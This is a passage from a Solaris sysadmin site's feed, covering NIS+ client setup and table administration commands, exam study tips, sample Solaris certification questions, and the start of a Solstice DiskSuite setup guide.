    the files in local directory .&nbsp; you can also&nbsp;<br />
  &nbsp;&nbsp;&nbsp; specify a particular file name in&nbsp; for populating<br />
    a&nbsp; single&nbsp;&nbsp;&nbsp;&nbsp;table e.g.<br />
  &nbsp;<br />
  &nbsp;&nbsp;&nbsp;<b> #nispopulate –v –F&nbsp; auto_home&nbsp;</b><br />
  &nbsp;&nbsp;&nbsp; auto_home is the local file containg the entries in<br />
    proper format.<br />
  &nbsp;<br />
  <b>3.0 <a name="Installing Client">Installing Client</a></b><br />
  a.) Login as root in client<br />
  &nbsp;&nbsp; Define a default domain&nbsp; name – planet&nbsp; here.<br />
  b.) Run the client initialsation programme.<br />
  &nbsp;&nbsp; <b>#nisclient –i&nbsp; -h jupiter -d panet.com</b><br />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; h&nbsp;&nbsp;&nbsp;&nbsp; is<br />
    for nis+ server host name .<br />
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; d&nbsp;&nbsp;&nbsp;&nbsp; is<br />
    for nis+ domain name .<br />
  &nbsp;<br />
  &nbsp;&nbsp;&nbsp;&nbsp; reboot the&nbsp; client machine.<br />
  c.) Login again and open /etc/nsswitch.conf<br />
  &nbsp;&nbsp;&nbsp; check to see that only entries coreesponding to the<br />
    populated tables are&nbsp;<br />
  &nbsp;&nbsp;&nbsp; pointing to nisplus first&nbsp; and then files. Rest of<br />
    them should be&nbsp; files and nisplus.<br />
  &nbsp;</p>
<p style="text-align: justify">
<b>4.0 <a name="Administration Commands">Administration Commands</a></b>
<p style="text-align: justify">Following are some of the useful command for administering nis+</p>
<p style="text-align: justify;">&nbsp;</p>
<p>  <u><b>Listing&nbsp; table &amp; objects&nbsp; in NIS+</b></u>
</dl>
<ul>
<li><b>#nisls</b>&nbsp;&nbsp; ;Gives the total objects in NIS+
</li>
<li><b>#nisls org_dir</b>&nbsp; ;Lists the&nbsp; tables listed in the<br />
    directory. </p>
</li>
</ul>
<p><u><b>Listing a contents of tables</b></u></p>
<ul>
<li><b>#niscat passwd.org_dir</b></li>
</ul>
<dl>
  <u><b>Listing table structure</b></u>
</dl>
<ul>
<li><b>#niscat -o passwd.org_dir</b>&nbsp;&nbsp;&nbsp; ;lists structure of<br />
    password table.</li>
</ul>
<dl>
<p style="margin-left: 0in"><u><b>Adding A user</b></u>
</dl>
<ul>
<li><b>#nistbladm -a name=john&nbsp; uid=123 gid=111&nbsp; home=/home/john<br />
    shell=/bin/sh&nbsp;&nbsp; passwd.org_dir</b></li>
</ul>
<dl>
  <u><b>Changing the user information in passwd table (Super user only</b></u>
</dl>
<p>Fill in the corresponding values&nbsp; in &lt;&gt;</p>
<ul>
<li>#nistbladm –a&nbsp; name=&lt;&gt; passwd=&lt;&gt; uid=&lt;&gt; gid=&lt;&gt;<br />
    home=&lt;&gt; shelll=&lt;&gt; passwd.org_d</li>
</ul>
<dl>
  example&nbsp;
</dl>
<ul>
<li><b>#nistbladm -a name=john uid=123 gid=234 home=/home/john&nbsp;<br />
    shell=/bin/sh&nbsp; passwd.org_di</b></li>
</ul>
<dl>
  <u><b>to change only shell</b></u></p>
</dl>
<ul>
<li><b>#nistbladm -m shell=/usr/local/bin/bash&nbsp; [name=john],passwd.org_dir
<p>    </b></li>
</ul>
<dl>
  <u><b>Changing user passwd</b></u><br />
  &nbsp;<br />
  &nbsp;&nbsp;As root
</dl>
<ul>
<li><b># nispasswd&nbsp; &lt;user_name&gt; </b>;user has to update his key<br />
    through chkey -p</li>
</ul>
<dl>
  &nbsp;&nbsp;As user
</dl>
<ul>
<li><b>$ nispasswd&nbsp;</b>&nbsp; ;update encrypted key
</li>
<li><b>$chkey -p&nbsp;</b>&nbsp; ;(user NIS+ passwd and login passwd are the<br />
    same.)</p>
</li>
</ul>
<dl>
  <u><b>Adding user credentials</b></u>
</dl>
<ul>
<li><b>#nisaddcred -p 123 -P john local</b></li>
<li><b># nisaddcred -p unix.123@planet.com&nbsp;&nbsp; -P john.planet.com. des</b></li>
</ul>
<p>123 is userid and john is the user name.</p>
<p><u><b>Adding / removing a user dir entry in&nbsp; auto_home table :</b></u></p>
<ul>
<li><b>#nistbladm -a key=john value=10.20.30.40:/home/john&nbsp;<br />
    auto_home.org_dir</b></li>
<li><b>#nistbladm -r key=john auto_home.org_dir</b>&nbsp; ;If&nbsp; key is not<br />
    unique then more fields needs to be defined .</li>
</ul>
<p><u><b>Removing a user</b></u></p>
<ul>
<li>
<p align="left"><b>#nistbladm -r name=john passwd.org_dir</b></p>
</li>
</ul>
<p style="margin-left: 0in;"><u><b>Modifying the tables&nbsp; for multiple<br />
entries.</b></u></p>
<ul>
<li>
<p align="left"><b>#nisaddent -d passwd &gt; /tmp/passwd&nbsp; </b>;Dump the<br />
    table to &nbsp;&nbsp; a file </p>
</li>
<li>
<p align="left"><b>#vi /tmp/passwd</b> ;Edit the dumped file</p>
</li>
<li>
<p align="left"><b>#&nbsp;nisaddent -r -f /tmp/passwd passwd </b>;Put back<br />
    the dumped file.</p>
</li>
</ul>
<p>nisaddent command&nbsp; is available only for&nbsp; some of the&nbsp;<br />
standard tables, for others either nispopulate or&nbsp; nistbladm has to&nbsp;<br />
be used .</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/nisplus-installation-administration/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sun Certification FAQs</title>
		<link>http://www.adminschoice.com/solaris-certification-faqs</link>
		<comments>http://www.adminschoice.com/solaris-certification-faqs#comments</comments>
		<pubDate>Tue, 29 Dec 2009 22:01:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exam]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=375</guid>
		<description><![CDATA[Frequently asked questions about Solaris Certification are discussed]]></description>
			<content:encoded><![CDATA[<p><iframe width=550px height=4000px src=http://www.sun.com/training/certification/faq/index.html ></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/solaris-certification-faqs/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Strategy for Multiple Choice Certification Exams</title>
		<link>http://www.adminschoice.com/strategy-for-multiple-choice-exams</link>
		<comments>http://www.adminschoice.com/strategy-for-multiple-choice-exams#comments</comments>
		<pubDate>Tue, 29 Dec 2009 21:58:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exam]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=372</guid>
		<description><![CDATA[Strategies for Multiple Choice Certification Exams are discussed ]]></description>
			<content:encoded><![CDATA[<table style="border-collapse: collapse;" id="AutoNumber1" border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" width="100%">
<tbody>
<tr>
<td width="81%"><b><font size="4">Basics</font></b></p>
<ul>
<li>Take&nbsp; the list of exam objective and study carefully its<br />
            scope</li>
<li>Organize your study keeping these objectives in mind.</li>
</ul>
<p>        You may be knowing theoretical or practical much and is confident but<br />
        still you need to check up the objectives carefully so that you do not<br />
        miss anything in your study. This will narrow down your focus area to<br />
        individual topic or subtopic.</p>
<p><b><font size="4">Study material</font></b></p>
<p>        Once you know the topics look around&nbsp; you for the study material.<br />
        Generally the official web sites will have most of&nbsp; the<br />
        documentations&nbsp; and some commercially available books specifically<br />
        written for the purpose of exams are also available . But always try to<br />
        refer to two – three different sources&nbsp; as this gives a more<br />
        clear view of a topic and makes understanding clear.&nbsp;</p>
<p><b><font size="4">How to study</font></b></p>
<p>        We have been taking the exams since the school days and people have<br />
        developed&nbsp; their own style of study .some like to study in the day<br />
        time others in the night still others like a background music while<br />
        studying . Whatever may be your style stick to it&nbsp; but keep in mind<br />
        that in multiple choice questions you have to be exact and should be<br />
        able to differentiate between very similar answers.</p>
<ul>
<li>
<p>You must have a peaceful&nbsp; place of study without any<br />
            distraction so that you can read between the lines . A distracted<br />
            study results in surfing the text&nbsp; &#8211; missing the key points.</p>
</li>
<li>
<p>Understand and visualize the process as whole – this will help<br />
            in addressing to practical problems in real environment&nbsp; as<br />
            well as some unsuspecting questions .</p>
</li>
<li>
<p>Note down important point&nbsp; -&nbsp; note down important point&nbsp;<br />
            while reading&nbsp; look for something which is not obvious and<br />
            different from the rest .</p>
</li>
<li>
<p>Try to recollect these point later -&nbsp; This will give an idea<br />
            of your preparation&nbsp; and helpful in revising later on .</p>
</li>
</ul>
<dl>
<dd><b><font size="4">In the exam</font></b></dd>
<dd>In multiple choice type questions&nbsp; there is one advantage&nbsp;<br />
            &#8211; answers are already there and one has to simply&nbsp; choose the<br />
            correct one&nbsp; but the problem&nbsp; is&nbsp; each answer looks<br />
            like correct one .So&nbsp; until your concepts are very clear it is<br />
            very likely that wrong answer is selected .But no one is&nbsp;<br />
            perfect&nbsp; so you will have to&nbsp; think a bit if you don’t<br />
            know the answer to a question . Since the answers are already there<br />
            you can start eliminating the incorrect answers by using your<br />
            knowledge and some logical thinking .&nbsp;</dd>
</dl>
<p>One common mistake is to select the first obvious looking answers<br />
        without checking the other options&nbsp; so always examine all the<br />
        options , think&nbsp; &amp; choose the right answer .&nbsp;</p>
<p>It is always better to pass the questions ,of which your are not<br />
        sure, &amp; come back&nbsp; there are few advantages for this</p>
<ul>
<li>You avoid the tension and frustration of a suspected answer&nbsp;<br />
            which could affect the rest of answers.</li>
<li>You are able to use the time thus saved to answer the questions<br />
            you&nbsp;&nbsp; know</li>
<li>The solution may come to your mind&nbsp; till the time you come<br />
            back again</li>
<li>The later part of the&nbsp; questions may contains some clues to<br />
            the answers .</li>
</ul>
<dl>
<dd>
            <b><font size="4">Time management&nbsp; in the exam</font></b></dd>
<dd>Generally the time is sufficient to answer all the questions but<br />
            if too much time is wasted on a few questions then it becomes<br />
            difficult&nbsp; . The best strategy would be to pass the difficult<br />
            question after carefully reading&nbsp; and attempt to them later.</dd>
<dd>&nbsp;</dd>
<dd><b><font size="4">Making it second time</font></b></dd>
<dd>If you can’t make it in first attempt&nbsp; &#8211; Prepare for the<br />
            second attempt , stay calm and focused . Don’t feel over confident<br />
            that &nbsp;it will be a piece of cake next time .If you can<br />
            recollect and write down the questions asked in the exam it will<br />
            help you in providing a focused area of study .</dd>
</dl>
<p>&nbsp;</p>
</td>
<td align="right" valign="top" width="19%">
</td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/strategy-for-multiple-choice-exams/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sample Question &#8211; Solaris Certification</title>
		<link>http://www.adminschoice.com/sample-question-solaris-certification</link>
		<comments>http://www.adminschoice.com/sample-question-solaris-certification#comments</comments>
		<pubDate>Tue, 29 Dec 2009 21:52:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Exam]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=369</guid>
		<description><![CDATA[Sample Question &#8211; Solaris Certification Following are some sample questions . These are some of the representative questions and is meant to demonstrate the type of question you might expect in Solaris Certification examination and plan your study accordingly. No answers are given out of the belief that anyone preparing for the exam should be [...]]]></description>
			<content:encoded><![CDATA[<p><B>Sample Question &#8211; Solaris Certification<br />
</B>Following are  some sample questions . These are some of the representative questions and is meant to demonstrate the type of question you might expect in Solaris Certification examination and plan your study accordingly. No answers are given out of the belief that anyone preparing for the exam should be able to work it out .</p>
<p>Choose all the correct answers. </p>
<p><B>1) In Solaris how many disk slices a disk can have ?<br />
</B><br />
a) 8     b)  7    c) 6     d)1</p>
<p><B>2)Which file is used to set the default mask in Solaris ?<br />
</B><br />
 a)/etc/profile     b) .profile      c) /etc/system   d) /etc/inittab<br />
<B><br />
3)What are the advantage for making disk partitions ?<br />
</B><br />
a) Easy to maintain    b) Easy for backing up<br />
c) Limits problems to one partition only   d) Space can be monitored easily.</p>
<p><B>4 )What does a + sign in /etc/hosts.equiv indicates ?<br />
</B><br />
 a)  All hosts are allowed   b) Only known hosts are allowed  c) All users are allowed  d) Unknown hosts are also allowed .</p>
<p><B>5 )Which command is used to mount local file system ?<br />
</B><br />
 a) mount -l     b) mountall     c) mount     d) mount  -r</p>
<p><B>6) Which command line option gives a run level and output headings ?<br />
</B><br />
 <B>a) who -b        b) who -r         c)  who -rh   d) who -rH<br />
</B><br />
<B>7) which command is used to change the auto-boot feature in sun ultra ?<br />
</B><br />
 a) eeprom &#8220;auto-boot?&#8221;=true  b) eeprom auto-boot?=true  c) eeprom autoboot? true  d) eeprom auto-boot = true ..</p>
<p><B>8 )  If patch id is 123456-10 then its revision number is -<br />
</B><br />
 a)123               b)456            c)10            d)6-10</p>
<p><B>9)Which commands can be used to make a device alias<br />
</B><br />
 a) devalias ay OK prompt  b) dvalias at root prompt<br />
 c) nvram at ok prompt         d) drvconfig at root prompt.</p>
<p><B>10) Where in Solaris encrypted passwords are stored ?<br />
</B><br />
a) /etc/passwd  b) /etc/shadow c)/etc/default/passswd  d)/etc/initttab</p>
<p><B>11) What is required in a diskless workstation for Solaris workstation<br />
</B><br />
a) cpu, monitor, keyboard, hard disk    b)    cpu, monitor, keyboard, cdrom drive<br />
c)   cpu, monitor, keyboard, Ethernet card    d)  cpu and Ethernet card only.</p>
<p><B>12)Which of the following points to virtual file system ?<br />
</B><br />
 a) /dev/dsk/c0t0d0s3           b) /dev/rdsk/c0t0d0s3<br />
 c) /dev/md/dsk/c0t0d0s3   d) /dev/vx/rdsk/data/vol1</p>
<p><B>13) Which Solaris command is used to correct  filesystem problems?.<br />
</B><br />
 a) newfs      b) fssck          c) mkfs       d) format</p>
<p><B>14) Which is the configuration file for the tip command<br />
</B><br />
 a)/etc/tip.conf    b) /etc/remote  c) /etc/inittab.d   d) .profile</p>
<p><B>15) When automounter daemon needs to be restarted ?.<br />
</B><br />
 a) When direct map is changes    b) When indirect map is changes<br />
 c) No need to restart                    d) When a new user is created</p>
<p><B>16) What is the default configuration cluster in Solaris installation ?.<br />
</B><br />
 a) Developer    b) Core       c) End user     d) Entire Distriidution</p>
<p><B>17)  Which utility is used to administer the port monitor ?<br />
</B><br />
 a)sacadm      b) pmadm     c) ttyadm       d) admintool</p>
<p><B>18) What is the command to assign a ip address to qfe network interface ?<br />
</B><br />
 Write the command &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;..</p>
<p><B>19) 10 30  *  *  4  /usr/bin/loginfo  entry in crontab will execute the program<br />
</B><br />
 a) Every Friday at 10.30      b) Every Thursday at 10.30<br />
 c) Every Saturday 10.30       d) Every Wednesday at 10.30</p>
<p><B>20) What do you need for a fresh Solaris Installation ?.<br />
</B><br />
 a) Host Name  b) IP Address  c) Net mask   d) Domain name</p>
<p><B>21) How can you see the prom version ?<br />
</B><br />
 a) show version       b) prom        c) banner       d) version</p>
<p><B>22) Which file enables you to disable root login on terminals ?.<br />
</B><br />
 a) /etc/profile           b) .profile<br />
 c) /etc/default/login     d) /etc/system</p>
<p><B>23 ) Which directory contain run level control scripts ?.<br />
</B><br />
 a) /etc/rc2.d      b) /etc/init.d        c) /etc/rc3.d       d) /usr/bin</p>
<p><B>24) Which command show the patch installed in the system ?<br />
</B><br />
 a) patchadd -p   b) showrev -p    c) showpatch  d) patchlist</p>
<p><B>25)  What are the advantage of having a virtual file system ?.<br />
</B><br />
 a) Large capacity volumes         b) Increased File system size<br />
 c) Performance enhancement   d)  backup becomes easy</p>
<p> <B>26) Which file is used to define default run level for init process at booting time ?.<br />
</B><br />
 a) /etc/ttyyab         b)  /etc//ttyadm<br />
 c) /etc/inittab        d) /etc/profile</p>
<p> <B>27) Which command shows kernel parameters and and driver module information ?.<br />
</B><br />
 a) sysconfig      b) prtconfig<br />
 c) dmesg          d) prtconf</p>
<p> <B>28) A multiuser operating system is one &#8211; in which<br />
</B><br />
 a) Many users can work simultaneously        b) Many Processes can work simultaneously<br />
 c)  A large number of users can be created   d) A number of user home directories can be created.</p>
<p> <B>29) What is true about software packages ?.<br />
</B><br />
 a) It is group of files &#038; directories  b) They are grouped to form clusters</p>
<p> c) It is standard way of delivering software in Solaris d) They can be installed using pkgadd  command.</p>
<p> <B>30)What type of names are used for administering disk drives in Solaris environment<br />
</B><br />
 a) Physical  b) Logical  c) Virtual  d) disk instance</p>
]]></content:encoded>
			<wfw:commentRss>http://www.adminschoice.com/sample-question-solaris-certification/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Solstice DiskSuite &#8211; Admin&#8217;s Guide</title>
		<link>http://www.adminschoice.com/solstice-disksuite-guide</link>
		<comments>http://www.adminschoice.com/solstice-disksuite-guide#comments</comments>
		<pubDate>Tue, 29 Dec 2009 21:17:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Volumes]]></category>
		<category><![CDATA[Solstice DiskSuite]]></category>
		<category><![CDATA[sun volume manager]]></category>

		<guid isPermaLink="false">http://adminschoice.com/?p=354</guid>
		<description><![CDATA[Understanding and setting up Solstice DiskSuite 4.2.1 in Solaris]]></description>
			<content:encoded><![CDATA[<table border="0" >
<caption><b><u><font size="4">Table of Contents</font></u></b></caption>
<tr>
<td width="49%" align="left" valign="top" height="315">
<dl>
<dt>1.<a href="#Advantages of Disksuite">Advantages of Disksuite</a></dt>
<dt>2. <a href="#Disksuite terms">Disksuite terms</a></dt>
<dt>3. <a href="#Disksuite Packages :">Disksuite Packages</a> </dt>
<dt>4. <a href="#Installing DiskSuite 4.2.1 in Solaris 8">Installing<br />
      DiskSuite 4.2.1 in Solaris 8</a></dt>
<dt>5. <a href="#Installing DiskSuite 4.2.1 in Solaris 8">Creating State<br />
      Database </a></dt>
<dt>6. <a href="#Creating MetaDevices :">Creating MetaDevices</a> </dt>
<dt>6.1. <a href="#1.) Creating a concatenated Metadevice :">Concatenated<br />
      Metadevice</a></dt>
<dt>6.2. <a href="#2.) Creating a stripe of 32k interleave">Striped<br />
      Metadevice</a></dt>
<dt>6.3 <a href="#3.) Creating a Mirror :">Mirrored Metadevice</a> </dt>
<dt>6.3.1 <a href="#6.3.1 ) Creating a simple mirror from new partitions"> Simple mirror</a></dt>
<dt>6.3.2 <a href="#6.3.2.) Mirroring a Partitions with data which can be unmounted">Mirroring a unmountable Partition </a></dt>
<dt>6.3.3 <a href="#6.3.3 ) Mirroring a Partitions with data which can not be unmounted - root and /usr">  root mirroring &amp; /usr mirroring</a></dt>
<dt>6.3.4 <a href="#· root mirroring">&nbsp;</a><a href="#6.3.4  ) Making Mirrored disk bootable">Making alternate&nbsp; root disk bootable</a></dt>
<dt>6.3.5&nbsp;<a href="#2.) Creating alterbate name for Mirrored boot disk">Setting<br />
      alternate boot path for root mirror</a></dt>
<dt>6.4 <a href="#4.) Creating a RAID 5 volume :">RAID 5 </a></dt>
</dl>
</td>
<td width="51%" align="left" valign="top" height="315">
<dl>
<dt>6.5 <a href="#B.)Trans Metadevice for a File System That Cannot Be Unmounted"> TransMeta Device</a></dt>
<dt>6.5.1 <a href="#6.5.1) Trans Metadevice for a File System That Can Be Unmounted"> TransMeta device for unmountable partition</a></dt>
<dt>6.5.2 <a href="#B.) Trans Metadevice for a File System That Cannot Be Unmounted">TransMeta device for non unmountable partition.</a></dt>
<dt>6.5.3 <a href="#6.5.3 ) TransMeta device using Mirrors">TransMeta<br />
      device using Mirror</a></dt>
<dt>6.6 <a href="#6.) HotSpare Pool">Hotspare Pool</a></dt>
<dt>6.6.1 <a href="#6.6.1) Associating a Hot Spare Pool with Submirrors">Adding a Hotspare to Mirror</a></dt>
<dt>6.6.2 <a href="#6.6.2 ) Associating or changing a Hot Spare Pool with a RAID5 Metadevice">Adding a Hotspare to RAID5</a></dt>
<dt>6.6.3 <a href="#6.6.3 ) Mirroring a Partitions with data which can not be unmounted - root and /usr">Adding a disk to Hotspare Pool.</a></dt>
<dt>6.7 <a href="#7.)Disksets">disksets</a></dt>
<dt>6.7.1 <a href="#6.7.1 ) Creating Two Disksets">Creating two diskset </a></dt>
<dt>6.7.2 <a href="#6.7.2 ) Adding Drives to a Diskset">Adding disk to diskset </a></dt>
<dt>6.7.3 <a href="#6.7.3 ) Creating  a Mirror in a Diskset">Creating Mirror in Diskse</a>t</dt>
<dt>7.&nbsp; <a href="#Trouble Shooting">TroubleShooting </a></dt>
<dt>7.1) <u><a href="#1.) Recovering from  Stale State Database Replicas"> Recovering from&nbsp; Stale State Database replicas</a></u></dt>
<dt>7.2) <u><a href="#2.) Metadevice Errors :">Metadevice Errors</a></u></dt>
</dl>
</td>
</tr>
</table>
<blockquote>
<blockquote></blockquote>
</blockquote>
<p><b></p>
<p>1.<a name="Advantages of Disksuite"> <u>Advantages of Disksuite</u></a><br />
</b><br />
  Solstice disk suite provides three major functionalities :</p>
<p><b>1.</b> Over come the disk size limitation by providing for joining of<br />
    multiple disk slices to form a bigger&nbsp; volume.&nbsp;</p>
<p><b><br />
 2.</b> Fault Tolerance by allowing mirroring of data from one disk to another<br />
    and keeping parity&nbsp;<br />
    &nbsp;&nbsp;&nbsp; information in RAID5.&nbsp;</p>
<p><b><br />
    3.</b> Performance enhancement by allowing spreading the data space over<br />
    multiple disks .</p>
<p>  <b></p>
<p>2. <u><a name="Disksuite terms">Disksuite terms</a><br />
  </u><br />
</b></p>
<dl>
<dd><b>Metadevice :</b>A virtual device composed of several physical devices -<br />
    slices/disks&nbsp; . All the operations are carried out using metadevice<br />
    name and transparently implemented on the individual device.</dd>
<dd><b>RAID : </b>A group of disks used for creating a virtual volume is called array and<br />
depending on disk/slice arrangement these are called various types of RAID<br />
(Redundant Array of Independent Disk ).</dd>
</dl>
<blockquote>
<dl>
<dd>RAID 0 Concatenation/Striping</dd>
<dd>RAID 1 Mirroring</dd>
<dd>RAID 5 Striped array with rotating parity.</dd>
</dl>
</blockquote>
<p><b>Concatenation :</b>Concatenation is joining of two or more disk slices to add up the disk space<br />
. Concatenation is serial in nature i.e. sequential data operation are performed<br />
serially on first disk then second disk and so on . Due to serial nature new<br />
slices can be added up without having to take the backup of entire concatenated<br />
volume ,adding slice and restoring backup .</p>
<p><b>Striping </b>:Spreading of data over multiple disk drives mainly to enhance the performance<br />
by distributing data in alternating chunks &#8211; 16 k interleave across the stripes<br />
. Sequential data operations are performed in parallel on all the stripes by<br />
reading/writing&nbsp; 16k data blocks alternatively form the disk stripes.</p>
<p><b>Mirroring </b>: Mirroring provides data redundancy by simultaneously writing data on to two<br />
sub mirrors of a mirrored device . A submirror can be a stripe or concatenated<br />
volume and a mirror can have three mirrors . Main concern here is that a mirror<br />
needs as much as the volume to be mirrored.</p>
<p><b>RAID 5</b> : RAID 5 provides data redundancy and advantage of striping and uses less space<br />
than mirroring . A RAID 5 is made up of at least three disk which are striped<br />
with parity information written alternately on all the disks . In case of a<br />
single disk failure the data can be rebuild using the parity information from<br />
the remaining disks .<br />
<b></p>
<p>3. <u><a name="Disksuite Packages :">Disksuite Packages :</a><br />
</u><br />
</b></p>
<p>Solstice disk suite is a part of server edition of the Solaris OS and is not<br />
included with desktop edition . The software is in pkgadd format &amp; can be<br />
found in following locations in CD :</p>
<dl>
<dd>
<p style="margin-left: 33">Solaris 2.6 &#8211; “Solaris Server Intranet Extensions 1.0” CD.</dd>
<dd>
<p style="margin-left: 33">Solaris 7 &#8211; “Solaris Easy Access Server 3.0”</dd>
<dd>
<p style="margin-left: 33">Solaris 8 &#8211; “Solaris 8 Software 2 of 2”</dd>
</dl>
<p>Solaris 2.6 &amp; 2.7 Solstice Disk suite version is 4.2 .&nbsp; Following packages are part of it but only the &quot;SUNWmd&quot; is the<br />
minimum required package and a patch.</p>
<dl>
<dd>
<p style="margin-left: 33">SUNWmd &#8211; Solstice DiskSuite</dd>
<dd>
<p style="margin-left: 33">SUNWmdg &#8211; Solstice DiskSuite Tool</dd>
<dd>
<p style="margin-left: 33">SUNWmdn &#8211; Solstice DiskSuite Log Daemon</dd>
<dd>
<p style="margin-left: 33">Patch No. 106627-04 (obtain latest revision)</dd>
</dl>
<p>Solaris 8 DiskSuite version is 4.2.1 .Following are the minimum required packages ..</p>
<dl>
<dd>
<p style="margin-left: 33">SUNWmdr Solstice DiskSuite Drivers (root)</dd>
<dd>
<p style="margin-left: 33">SUNWmdu Solstice DiskSuite Commands</dd>
<dd>
<p style="margin-left: 33">SUNWmdx Solstice DiskSuite Drivers (64-bit)</dd>
</dl>
<p><b></p>
<p>4. <u><a name="Installing DiskSuite 4.2.1 in Solaris 8">Installing DiskSuite 4.2.1 in Solaris 8</a><br />
</u><br />
</b></p>
<p><b>#</b> <b>cd /cdrom/sol_8_401_sparc_2/Solaris_8/EA/products/DiskSuite_4.2.1/sparc/Packages</b></p>
<p><b><font COLOR="#000000"># pkgadd -d .<br />
</font><br />
</b></p>
<dl>
<dd>
<p style="margin-left: 30">The following packages are available:</dd>
<dd>
<p style="margin-left: 30">1 SUNWmdg Solstice DiskSuite Tool</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.11.04.18.29</dd>
<dd>
<p style="margin-left: 30">2 SUNWmdja Solstice DiskSuite Japanese<br />
      localization</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.12.09.15.37</dd>
<dd>
<p style="margin-left: 30">3 SUNWmdnr Solstice DiskSuite Log Daemon<br />
      Configuration Files</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.11.04.18.29</dd>
<dd>
<p style="margin-left: 30">4 SUNWmdnu Solstice DiskSuite Log Daemon</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.11.04.18.29</dd>
<dd>
<p style="margin-left: 30">5 SUNWmdr Solstice DiskSuite Drivers</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.12.03.10.00</dd>
<dd>
<p style="margin-left: 30">6 SUNWmdu Solstice DiskSuite Commands</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.11.04.18.29</dd>
<dd>
<p style="margin-left: 30">7 SUNWmdx Solstice DiskSuite Drivers(64-bit)</dd>
<dd>
<p style="margin-left: 30">(sparc) 4.2.1,REV=1999.11.04.18.29</dd>
<dd>
<p style="margin-left: 30"><font COLOR="#000000"><br />
  Select 1,3,4,5,6,7 packages .<br />
</font></dd>
</dl>
<p><font COLOR="#000000"></p>
<p>Enter ‘yes’ for the questions asked during installation and reboot the<br />
system after installation .<br />
</font></p>
<p>Put /usr/opt/SUNWmd/bin in root PATH as the DISKSUITE commands are located in<br />
this directory<br />
<b></p>
<p>5. <u><a name="Creating State Database :">Creating State Database :</a><br />
</u><br />
</b></p>
<p>State meta database , metadb , keeps information of the metadevices and is<br />
needed for Disksuite operation . Disksuite can not function without metadb so a<br />
copy of replica databases is placed on different disks to ensure that a copy is<br />
available in case of a complete disk failure .</p>
<p>Metadb needs a dedicated disk slice so create partitions of about 5 Meg. on<br />
the disks for metadb. If there is no space available for metadb then it can be<br />
taken from swap . Having metadb on two disks can create problems as DISKSUITE<br />
looks for database replica number &gt; 50% of total replicas and if one of the<br />
two disks crashes the replica falls at 50% . On next reboot system will go to<br />
single user mode and one has to recreate additional replicas to correct the<br />
metadb errors.</p>
<p>The following command creates three replicas of metadb on three disk slices.<br />
<b></p>
<p>#metadb -a -f -c 3 /dev/dsk/c0t1d0s6&nbsp;&nbsp;&nbsp;&nbsp;<br />
/dev/dsk/c0t2d0s6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /dev/dsk/c0t3d0s6</p>
<p>6. <a name="Creating MetaDevices :">Creating<u> MetaDevices :</u></a></p>
<p>
</b>Metadevices can be created in two ways</p>
<blockquote>
<blockquote>
<dl>
<dd>1. Directly from the command line</dd>
<dd>2. Editing the /etc/opt/SUNWmd/<u>&lt;md.tab.html&gt;</u><br />
    file as per example given in the md.tab and</dd>
<dd>&nbsp;&nbsp;&nbsp; initializing devices on command<br />
    line using metainit &lt;device name&gt; .</dd>
</dl>
</blockquote>
</blockquote>
<p><b></p>
<p>6.<a name="1.) Creating a concatenated Metadevice :">1 ) Creating a concatenated Metadevice :</a><br />
</b></p>
<p style="margin-left: 50"><b>#<u>metainit</u>&nbsp;&nbsp;&nbsp; d0&nbsp;&nbsp;&nbsp;<br />
3&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp; /dev/dsk/c0t0d0s4 1 /dev/dsk/c0t0d0s4<br />
1 /dev/dsk/c0t0d0s4 </b></p>
<dl>
<dd>
<p style="margin-left: 50">d0 &#8211; metadevice name</dd>
<dd>
<p style="margin-left: 50">3 &#8211; Total Number of Slices</dd>
<dd>
<p style="margin-left: 50">1 &#8211; Number of Slices to be added followed by slice name.</dd>
</dl>
<p><b></p>
<p>6.2<a name="2.) Creating a stripe of 32k interleave"> ) Creating a stripe</a></b><a name="2.) Creating a stripe of 32k interleave"><br />
<b>of 32k interleave</b></a></p>
<p style="margin-left: 50"># <b><u>metainit</u> d10&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp; c0t1d0s2&nbsp;&nbsp;&nbsp;&nbsp; c0t2d0s2&nbsp;&nbsp;&nbsp;&nbsp; -i&nbsp;&nbsp; 32k<br />
</b></p>
<dl>
<dd>
<p style="margin-left: 50">d0 &#8211; metadevice name</dd>
<dd>
<p style="margin-left: 50">1 &#8211; Total Number of Stripe</dd>
<dd>
<p style="margin-left: 50">2- Number of Slices to be added to stripe followed by slice name .</dd>
<dd>
<p style="margin-left: 50">-i chunks of data written alternatively on stripes.</dd>
</dl>
<p><b></p>
